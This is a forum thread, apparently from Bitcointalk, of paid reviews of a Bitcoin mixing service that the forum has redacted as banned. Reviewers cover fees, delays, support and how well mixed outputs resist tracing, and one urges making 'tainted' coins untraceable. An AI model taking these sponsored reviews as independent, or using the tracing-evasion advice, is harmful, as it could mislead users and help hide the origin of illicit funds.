  • I suggest you to remove bitcoin.com from the linked page for verifying signatures. There are far better, open-source tools for verifying a message, without accepting bitcoin.com's strict privacy policy. Namely, Electrum.


A Bitcoin user seeking privacy would regard the operator of this service as inexperienced. This is my first impression. Assuming you address these concerns, let's proceed to the crucial aspect; mixing.




At first, I'll be using Tor Browser v12.5.4.

Okay, so the design is pretty neat (even though I don't prioritize it at all). We have tumbler code, receiving address(es), service fee, fee calculator, delay, and an anonymizing meter. Again, let me correct a grammar mistake; in the question mark of the anonymizing meter, you would want "effective" anonymization, not "efficient". As for the "Security Level", as a reviewer I'm going to try them all, but honestly, as a user, you haven't convinced me of any particular essence. Where do Basic level coins originate from, I cannot make any sense. Let me quote it for you;
Quote
Basic level uses a pool that operates on a "peer-to-peer" system, wherein assets for payments to new customers are generated from bitcoins received from other customers.

Buzzwords, if you ask me. What "peer-to-peer" system, which customers, all of which happen where? Same applies for Standard and Premium:
Quote
Standard Level - its funds are coming from large Basic Level transactions, private resources of the system and depositors' bitcoins. For this reason, Standard Level funds are large.

Quote
Premium Level fund is not associated with Basic Level bitcoins. This premium pool contains the system's private resources and depositors' bitcoins.

What is a "private resource"? What's the difference between Standard and Premium? They both provide "private resources" as far as I can see. Seriously, did you write this in a hurry?

Anyway, let's move on.

Security level: Basic
To start with, let me try out mixing with the weakest anonymity meter, so I can tell how bad that is.
Parameters:
Code:
- Service fee: 0.4%
- Delay: 0
- Total receiving addresses: 1

I hit continue, I get warned for [banned mixer]'s sending address and terms of use, letter of guarantee is downloaded (and signature verified), coins are deposited.

A little while later, after waiting for confirmation, I got this:


Not the best thing that can happen to a mixer user.

So, a couple of minutes after I sent them a message, they responded with this:
Quote from: [banned mixer
support]Dear ---- ---------,
Thank you for contacting us with a request for assistance!

Our system detected that you sent money more than once to the deposit address. Maybe you tried to increase commission that is considered by our service the same. We can make a refund to one of the addresses specified in the output list or to the address from which we received the money. Otherwise we can make refund to address that you sent deposit from:

1. [removed]
2. [removed]

Which address do you prefer for a refund?
]
We’re glad you chose the our project. If there is anything else we can do to help, please let us know.

Best regards,
Support team

This is bad. Your system shouldn't consider replace-by-fee as a separate transaction. It's literally replacing, as the name suggests, the older transaction. Also, why am I one who paid the error? I sent 100,000 sat, received a few thousand less. It isn't my fault than you don't take into consideration RBF, you should at least warn somehow during the mixing process.

Attempt #2. Everything worked, I didn't use RBF and I instantly got my mixed funds. So, at this point I'm going to share the TXID, so people can check and rate the anonymity set.  

Received bitcoin in: bc1qvmgfa9zedvh8ger43yv9mju8t5aw275vpa5tu9. Coin history of the the address that paid me looks like this. Very average, could have accomplished better levels of privacy with a small Joinmarket coinjoin.




Security level: Standard

Parameters:
Code:
- Service fee: 1.80%
- Delay: 0
- Total receiving addresses: 1

Received bitcoin in: bc1qthpl93rv7908hyr46w8sr52kcz9ynxvt5mt3hc.

Coin history looks as following. Seems like the address that sent coins to [banned mixer]'s withdrawal address comes from some sort of exchange? I searched for it in walletexplorer.com, and as it turns out, it belongs to one of the wallets they're actively tracing. I wouldn't want my mixed bitcoin to be related to that. Additionally, I don't acknowledge much greater levels of privacy than with Basic. Let's move onto Premium.




Security level: Premium

At this point, I'll be using Chromium browser (117.0.5938.92) in Ubuntu 22.04.
Parameters:
Code:
- Service fee: 3.60%
- Delay:  1hr. 46min, 3hr. 38min respectively
- Total receiving addresses: 2

Let me confirm that I will get my coins on time.  

(3hr. 38min later)
Alright, so I do confirm that I've got the coins on time. Coins received in - bc1qjeej3ahzvwkekaem069r25enxrm0vgh0yd06qv - and - bc1q5z8gq8er4aw4stl6fj48wmreeq409lywu32esg. Let's have a look on each coin history.


That's pretty disappointing. I paid for premium, anonymizing meter signaled "Strong", used Tumbler code to let the service know with which outputs I don't want my mixed coins be connected with, and instead, I got one mixing and two regular transactions which are directly connected. Literally, the former is the change of the other.

If the images confuse you, let me use ASCII:
Code:
                     (#1 withdrawal)
                      ┌───────────┐
                  ┌──►│bc1q...06qv│      (#2 withdrawal)
┌─────────────┐   │   └───────────┘       ┌───────────┐
│3ELb...v2MJZ9├───┤                   ┌──►│bc1q...2esg│
└─────────────┘   │   ┌───────────┐   │   └───────────┘
                  └──►│3GAha...rhb├───┤
                      └───────────┘   │   ┌───────────┐
                     (mixer change)   └──►│3AuK...zabP│
                                          └───────────┘
                                         (mixer change)




Conclusions

This is a very bad mixer. Sorry, but I'm being paid to tell the truth here. I'm genuinely curious as to what the rest of the users see that I don't.

Here's a list of your cons that you should absolutely work on:
  • Actual mixing. When the user receives mixed coins, they have to look mixed. That's the point of the mixer; to improve fungibility and privacy, and the manner to accomplish it is to make it difficult for outsiders to de-anonymize known-mixer outputs. However, there needs to be a discernible indicator that these coins indeed originated from a mixer, so that anyone attempting to trace them can give up.
  • Privacy policy. As I previously said, the user expects you to treat them equally. They want fungible outputs, you must treat theirs equally. That's your job. To take "tainted" / "bad" / whatever coins and create completely indistinguishable / fungible coins.
  • "Security levels". The user has no manner to verify whatsoever how their "Premium" coins are more private; which is a lie in the first place as I demonstrated. Premium coins which I expected to withdraw on different addresses, were withdrawn with direct blockchain connection. Minimum privacy there.
  • Pricing. Please explain me why each receiving address costs an additional 20,000 sat. Your fee range of 0.4% to 3.60% is quite reasonable. However, as you've acknowledged, I didn't receive an equally good product for the price I paid when comparing the "Basic" and "Premium" options.
  • The site's ambiguity is pretty unattractive and demonstrates amateurism.
  • Javascript requirement is concerning, provided that mixers are targets for DDoS and other sort of attacks.

Here are some less significant things to account for:
  • Segwit nested in deposit addresses. Both you and the users can enjoy less expenses if you only use Segwit native. (the argument of "using different address types for better privacy" I've previously read above is ridiculous)
  • Replace chat with e-mail support. It's just more professional and user-friendly IMO. If message privacy is a concern (which should be), add a PGP public key.
  • Separate blogging. You don't really need a blog under the same place where the mixer is. It increases the chances of someone exploiting a vulnerability. The more the scripting under [banned mixer], the more the attack vectors. If you really want a blog, just rent another server and run it under a sub-domain (i.e., blog.[banned mixer]). It depends, at least, on under which script is this blog running. That's another reason why you should let the people audit the code.
  • Overpaying in fees. I checked your transactions, and it appeared that every single time, you used at least the maximum fee. Nor the user, neither you need to lose money on that, if the user clarifies that they are not in a hurry.
  • Languages are problematic, and that's why I'd recommend you to keeping it English only. For instance, if you change the language, blog posts or terms of use aren't translated.
  • Genuinely curious: do you really need a 278kb (!!!) /css/75139cd7b255a51d80cca418c007a487.css]css file? If I asked you to describe me in detail what it does, would you confidently answer that? You're trading security for comfort here.

I will edit this post in the future if needed.
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[banned mixer] Bitcoin Mixer Review

A reviewed carried out on Chrome browser At first trying to get my tumbler code were kind of confusing to me but said (optional), I then further to create a receiving addressing from Electrum wallet after which it was proceed and deposit was made from My binance exchange to system generated address.



System Interface
From my review I noticed this and decided to bring it up since is what is on the process, what I noticed again was the interface, it looks cool but on the other hand it should at least have a color swapping mode whereby one can decides to switch between colors either dark and white or other colors that suits with the eyes especially, there are people who aren't good with white screen that much maybe such people could switched between the colors to use their preferred color to suits their eyes.


Further more, A deposit was confirmed and preparing the order for mixing payout it was like a kind of shocking to me to work so quickly and smoothly without even considering how much long it takes for confirmations, although at some point was given notice stating "You must know!
Using the tumbler code guarantees that you will not receive your own coins on the next order!
Your tumbler code for the next order: .....1719e4808983" At some moment was waiting for the mixing and payout.


The time given for the mixing and payout was about 10hrs from the time of transaction (txt id gives you accurate moment) which makes it unbearable for me to excise this patient to keep waiting.


For the deposit:
The minimal deposit was little bit huge, I suggest the minimal deposit should be reduced and fit on 0.0005BTC or below reason being that this could be more challenging in the near future when bitcoin prices might have surge above this presents prices and 0.001BTC could be a challenging amount for those who wants to use this services for a minimal amount lower than the required amount (minimal deposit) as mixing service who wants to remain the top among all and that wants to remain first option for people and its users, their service minimal deposit should be reduced to enable the platform attract more clients an customers to often patronized their services.


Languages:
Sincerely speaking was shocked to see this mixer has a multiple language support option such as Germany, Russian, French, Japanese, Chinese. Spanish, Italian which made it language friendly and people could easily locate their languages to use. Although my native local language was not listed here but was comfortable with the English version which I can read and understood site perfectly  


Support Team



I tried to teste run the support team but it seems it was too late for a request to be handled, usually as a support team whenever a request is made is either they should respond in the next 2 to 5 minutes to enable user have full confidence of their mixing process to avoid breach of trusted. Most time respond team are the people to rely on for emergency and immediate feedback are always wanted by people to fixed up their issues.



Address:
txt: 0453523a8799faf8f162d2c779df284ca266f56a805110dd19f911c3ffdbb9c4
legendary
Activity: 1022
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To be honest, this is one of the best bitcoin mixers that I have used before.

You can say that again. This is the first mixer that I have used to mix coins and I really enjoyed the process. There was no stress to do it and everything was just simple. I don't think any of the competitors in the forum has a simple mixing interface like this mixer. I have been trying to use a mixer since but no one was seeming to be beginners friendly but [banned mixer] is the newbie friendly and the best in the forum right now. The only experienced I faced was the delay of the payout. It took 4-5 hours before it arrived in the recipient address which he also confirm and told me. And one thing I will say is that, they should add some features on the home page. Please this is not a review but a carnal knowledge of the mixing service. Since the service is very simple to use let the security is very tight and we'll secured.
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It is not possible to continue the previous support conversation once the tab is closed
It is supporting onion address. On the main page of the website, scroll down and you will see it:




But it will be good if it is more visible. Having it underneath the website will make it not visible to some people.

You can also see it on their announcement thread on this forum: ➡️➡️ [ANN] | ‌‌‌‌‌‌‌.‌‌ | Bitcoin Mixer ⬅️⬅️



It is not possible to continue the previous support conversation once the tab is closed
It will give you a link which you can use to always access their support. If you paste the link on a browser, it will always open this support page for you on the browser:



Previous conversations are not deleted.

But I hope they will work on the letter of guarantee, it is not opening.
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Instant cryptocurrency exchange with own reserves!
 [banned mixer] review 

Bitcointalk username: Learn Bitcoin


I started using ]https://[banned mixer] with the Clearnet domain. The website UI looks good, but I was searching to switch to Night mode as I wouldn't say I like using bright screens. Even though we can use night mode features with the help of some modifications on the browser, I would recommend the Tumbler team to implement the night mode feature if possible. The website is available in eight languages, which is impressive. Their tor mirror is http://[banned mixer]/

 Fees 
The minimum fee is comparatively low, only 0.4% + 0.0002 BTC and the maximum fee is 5%, which increases the security level to a premium. I have seen some mixers where the minimum fee is almost 5 to 10 times more than [banned mixer]. I have checked four more mixers as of writing, and [banned mixer] has the lowest fees when I am writing this review. I was searching for how much is the additional fees for each receiving address in the FAQ section, but I didn't find it there. The information can be found once the user starts a new order, enters the addresses and then clicks on Fee Calculator to expand it. I would recommend decreasing the fees when users add additional addresses. For example, 0.0001 BTC for each address if the user adds more than five addresses.

The good news for whales is that 0.4% is not the lowest fee. The lowest fee is 0.20% if someone mixes more than 100 Bitcoins. But the max amount, for now, is 10 Bitcoin, and they suggest contacting support if someone wants to mix a large amount of Bitcoin. More details about fees can be found here: /fee]https://[banned mixer]/fee

 Support 
I haven't seen live chat support in any mixers yet, and [banned mixer] also does not have it. I won't blame them, as it may trigger privacy issues. I have opened a support chat to check how long they take to respond, but I did not get any response within an hour. It's already mentioned that they will answer within 12 hours. At first, I thought maybe it was live chat. The problem is that users must copy and save their support page link. Relying on the old conversation is impossible if the user closes the support tab.

Unlike other platforms, it has no other support channels like Telegram and Email. The footer page contains two social media links (X/Twitter and Bitcointalk), but I don't know if they would provide any support through those channels. So, I recommend adding more support channels (at least email and telegram) as those platforms do not hamper privacy.

 Mixing #1 
Type: Premium
Fee: 4%
Delay: 3 Hours 21 Minutes
Browser: Microsoft Edge.


A user mentioned that he could not select Bitcoin distribution by address in percentage terms. I don't know if I got him wrong, But I was able to select the percentage for the addresses I entered. I had a round point slider for each address to change the percentage. See the image below to understand If I am confusing here.


I won't write the steps as mixer users are already familiar with those steps. I received a P2SH deposit address. Most of the time, I have seen mixers use bech32 addresses. I don't know if it has any advantages or disadvantages. But I don't remember if I have seen mixers provide P2SH addresses. The minimum confirmation is 1, which is a standard. I have chosen 3 hours as mixing time as [banned mixer] recommends a minimum of two hours to increase the mixing strength. Even though [banned mixer] does not support the Taproot address at this moment, they will add it later. So, users won't have to check the FAQ before they write the taproot address. I just double-checked that it's impossible to continue the order with a taproot address—big thumbs up. The mixing is ongoing at this moment. I might edit it later and add more details.



 Mixing #2 
Type: Standard
Fee: 1.8%
Delay: 11 Minutes
Browser: Google Chrome.


I have used the Tumbler code from my first mixing this time, even knowing that I won't get any special discount. There is nothing special to add since everything is almost the same. I received the P2SH address again. I am not sure if [banned mixer] currently uses P2SH deposit addresses only. I have downloaded the letter of guarantee both times to keep the data of my transactions in case anything happens. Oh, one more thing: I was almost going to send Bitcoin to the first deposit address, but fortunately, I double-checked the address. The website says
Quote
We don't support multiple deposits to the same receiving address.
What if I make a deposit twice at that address? My deposit is still pending for 30 minutes because I paid 20 sat per byte, and the recommended fee was slightly higher than that. Let's say I forgot to bump the transaction fees, or I cannot, and the transaction was confirmed after 24 hours. What will happen to my deposit? Is it lost, or can I get a refund?



 Suggestions 

  • Add more support Channels like Email, Telegram
  • Decrease the fees when user add multiple receiving address(Make it dynamic if possible)
  • Add Nightmode version
  • Implement Note system/ Pay to friend system by codes
  • Explain multiple deposits to the same address and deposits made after 24 hours in the F.A.Q page


 Pros! 
  • Support Multiple languages (Eight languages)
  • Several mixing options (Basic, Standard, Premium)
  • Well explained F.A.Q
  • Easy to navigate
  • Fee calculator before creating the order

 Cons! 
  • Nightmode not available
  • Does not support Taproot address
  • Limited support channels
  • It is not possible to continue the previous support conversation once the tab is closed


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- mandatory transaction fee seems a bit high and could be dynamic
Did you mean the service fee of 0.4% to 5%? Having 0.4% fee is not high if you compare it with other mixers. The fourth time that I used it to mix coins, with service  fee of 0.4%, it was confirmed before 10 minutes.

But I think you are referring to the 0.0002 BTC fee for each address to send the mixed coin. It is one of the cheapest as of now if compared to other known bitcoin mixers on this forum.

- it would be nice if the user can choose how many % would go to to how many addresses , I have seen that at other sites and missed it here
You can use the slider to customize the amount, but editng the amount with keyboard would have been easier and more accurate. I also suggested this.

Yeah I meant the transaction fee, as I wrote  Wink . The other fee is the mixing fee.
But I understand it might be confusing.

About the %, yeah I meant it that way, I will rephrase it for better understanding. Thank you.
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- mandatory transaction fee seems a bit high and could be dynamic
Did you mean the service fee of 0.4% to 5%? Having 0.4% fee is not high if you compare it with other mixers. The fourth time that I used it to mix coins, with service  fee of 0.4%, it was confirmed before 10 minutes.

But I think you are referring to the 0.0002 BTC fee for each address to send the mixed coin. It is one of the cheapest as of now if compared to other known bitcoin mixers on this forum.

- it would be nice if the user can choose how many % would go to to how many addresses , I have seen that at other sites and missed it here
You can use the slider to customize the amount, but editng the amount with keyboard would have been easier and more accurate. I also suggested this.
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My [banned mixer] Bitcoin Mixer Review


For this review I chose to use BRAVE browser as well as Firefox.

First impressions:

The website looks and feels professionally done. I didn’t get any connection issues or anything.

I didn’t see the before mentioned problem with switching back to the original language while going to a new window. I tried to adjust the language to German, switched to another site like “mix now”, and it was still German. It didn’t switch back to the original. I also tried to use the site with different IPs from countries like Germany, Italy, Australia, Hong Kong, Japan and France, it all worked well.
Since I didn’t have any problems with mixing and so on I didn’t fee the need to contact support. So I cannot grade their level of support but since there will be 20 reviews I guess some other members might do that.



Mixing:

The fees start at 0.40% at the basic level and can adjust up to 5% at the premium level.
Between 1.8 and 3.6 is the standard level which reflect a “good anonymizing” on the meter. Basically even if you put it as low as 0.4% fee for a basic level it still counts it as a “good anonymization” .

From the premium service fee ( 3.6% and up) it counts as a strong anonymization.

I think it is nice that you can adjust the fee to whereever you want between 0.4 - 5% in 0.01 digits. Some other sites have set fees which only offer limited parameters to adjust. I really appreciate having options.


For this review I have used a 1,5% service fee for the mixing within brave browser and a 2,5% fee when mixing in firefox browser.

For the first mix I set the “Delay” to 1hr.0min. The 2nd mix was done with a 1hr.30min delay.
After agreeing to the terms, which are quite basic, I came to the site where to send the transaction.



The minimum deposit is 0.001 BTC, that is also what I used. It is important to know that you of course pay the selected % fee for the service but also pay a mandatory 0.0002 BTC fee for every receiving address.
So when you mix “only” 0.001 BTC you will receive 0.000785 after a 1.5% fee plus the 0.0002 BTC.

I think given the mempool is not that full with high fees charging 0.0002 is quite high and it would be better to have a some sort of dynamic fee. Paying 6$ where 1$ is more than enough seems a little bit like a waste of money.


After sending the btc and having gotten 1 confirmation the countdown for the 1 hour delay that I chose began to start.



Once the countdown had finshed the mixed coins were sent immediately with a reasonable fee pretty much guaranteeing a confirmation in the next block.




Summary:

All in all it was a very good experience. 1 small thing mentions in the cons below I didn’t witness any problems or errors on the site. With both browsers, BRAVE as well as Firefox it all worked smooth.
After sending the btc, everything updated quickly and the final amount was sent to my wallet address in time using a high fee.
I like the fee adjustment part but I am not a fan of the relatively high mandatory sending fee.

The design of the site is solid and also easy to navigate. In my opinion a person that has never used a mixer before could use this site quite easy. Everything is self explanatory and if there are questions there is a FAQ at the bottom of this site. I checked the FAQ and I think all relevant questions can be answered there.
There is also a blog section with some articles inside but I didn’t bother to read them.
Another link at the bottom of the site is the “fee section” explaining discount rates for higher mix amounts. The discount only start from 1 btc so I guess it’s not for the average user.




Pros:

- easy to navigate site
- several languages to choose from
- adjustable fees
- various address types to choose from
- overall a fast experience

Cons:

- mandatory transaction fee seems a bit high and could be dynamic
- FAQ, even though explaining everything well, could be written better
- when opening the letter of guarantee link I always got an error and had to enter the ref # manually to make it work
- when offering discount maybe they shouldn't start at amounts as high as 1-10 btc for the first level
- it would be nice if the user can choose to change how many % would go to to how many addresses in a different way, by manual input for example

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[banned mixer] review


To be honest, this is one of the best bitcoin mixers that I have used before. I think there are some features to be added but the site looks nice and I like the website user interface, it looks cool and good.

I used both browser and Tor for it and both worked excellent. I tried it on other browsers and it is working good. Because I have no problem to use Tor with it, I used it for mixing bitcoin and my experience was excellent. There are four stages after an address is generated for you to pay into to get a mixing coin, after you pay into that address, I noticed without confirmation on the bitcoin network, it indicated awaiting deposit almost immediately, confirmation was also later checked ✔️ not quite long, likewise preparing the order. After mixing and payouts, it displayed finished.



   



Fee

A minimum service fee of 0.4% for basic, which is adjustable up to 1.8% which is the percentage the standard fee begins, and up to 3.6% where the premium fee begins, which is adjustable up to 5% maximum. So the fee is adjustable from 0.4% to 5%.

Aside service fee, there is another fee which is not dynamic but fixed per every address used. That is a fee of 0.0002 BTC for each bitcoin address the coin to be mixed will be sent to. That is, if sending to one address, 0.0002 BTC will be charged in addition, if two addresses are submitted for the mixing, 0.0002 BTC will be charged for each address which is 0.0004 BTC and so on. The site makes it in a way you can easily understand it.

To be fear about this, this is one of the mixers with one of the cheapest fee if you decided to go for the lowest fee as possible. In mixing, the longer the transaction the better the mixing, so that should not be a problem. Maybe as time goes on, the fee may be increased, but it is actually still one of the cheapest for now.


Sending to many addresses

I like how it is, it has a slider that you can edit the percentage that you want each address to receive:



All you have to do is to click on those colours in circles to adjust the percentage amount of bitcoin that you want each address to receive. But it would have been better if the amount can be edited, like this which belongs to the first address:



If it is percentage of bitcoin to mix is customizable, it would be better. I noticed it is hard to slide those percentage to the accurate amount someone desires. Or maybe the mixer is encouraging the same amount not to be sent to different addresses which can strengthen anonymity as the amount in percentage on each are always slightly different. It will be good if the mixer owner can address this issue, if due to higher anonymity, I think it is also a good idea, but which some people may not like.



The minimum amount to be mixed is 0.001 BTC while the maximum is 10 BTC. This is distinctly stated while mixing and no one that wants to mix will not see it. Although, it is not seen directly on the website but it is there while about to mix. Because of this low fee, I will advice the Tumbler to include all the necessary fee on the main mixing page of the website. If some people do not see the fee, they can be discouraged to use the mixing service, but they can be encouraged with low fee if displayed on the mixer main mixing page.



The website anonymity metre, Fee calculator and Order overview

I like these features about on website, including the fee calculator. I will not talk much about the fee calculator and Order overview. The fee calculator works fine and the order overview before sending coin to the address the mixer will provide also works accurately. I like the anonymity meter (called anonymizing meter on the mixing website). If you click on the anonymity meter, you will see this:





I like how it is, it checked ✔️ the important information that it supposed to check and did not check the low fee and minimum delay. If someone can think about what that means, it means you can still choose low fee because the more the delay, the higher the anonymity of the mixing. Nice work there.


I tried to double spend the coin I sent with replace-by-fee support but the transaction remain unconfirmed. Nice work there.



My suggestions

Acording to my review, I have one suggestion. If possible the amount in percentage to be mixed into different addresses can be edited, it would be excellent, instead of using only fee slider.

I was able to use segwit single sig and multisig addresses, but I was unable to use pay-to-taproot address. It was the third address that I wanted to use but I had no option than to use single sig segwit address again. It will be good if pay-to-taproot address is supported.



I used it for two bitcoin address with standard fee, it worked fast
I used it for one address to double spend and high fee with higher service fee, I was unable to double spend. Excellent.
I used it with low fee transaction while I send to the mixer address, I saw this error and transaction not processed likely be I used replace-by-fee, although for the testing:

I saw this error:





I downloaded the letter of guarantee, all are 0.9 kilobytes and not opening by any text editor.


I later try fourth transaction using high network fee (when I was sending to the mixer) but low service fee of 0.4% on the mixing site. I was surprised that the transaction was fast after the mixer received my coins with successful transaction.


I have sent the mixer customer support message with the txid of the failed transaction, let me see how fast they will respond and include it on this post.


The mixing service is good, even with low fee. But when I used replace-by-fee, I got that error. I will advice people not to use replace-by-fee when using this mixer. I will edit this post to know about how fast their customer support is.


Edit:
After I contact [banned mixer] customer care, I copied the link displayed for further conversation. I later click on the link and it opened on my browser. I can decide to copy and paste the link on my browser anytime I want. If you close the link and open it again after sometime, the last conversation with the customer support were still there. In short, I like how they attended to me. My bitcoin address has been credited.

But I will like people to still review their letter of guarantee to know if it is now working good.
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Thanks for accepting me in group 2.
Short question though. The reviews can be made at any time before the deadline I suppose?

Just asking to avoid confusion. Group 2 members don't have to wait for group 1 members to finish posting the review right?

Sorry if the questions seem stupid, just wanted to ask to make sure.
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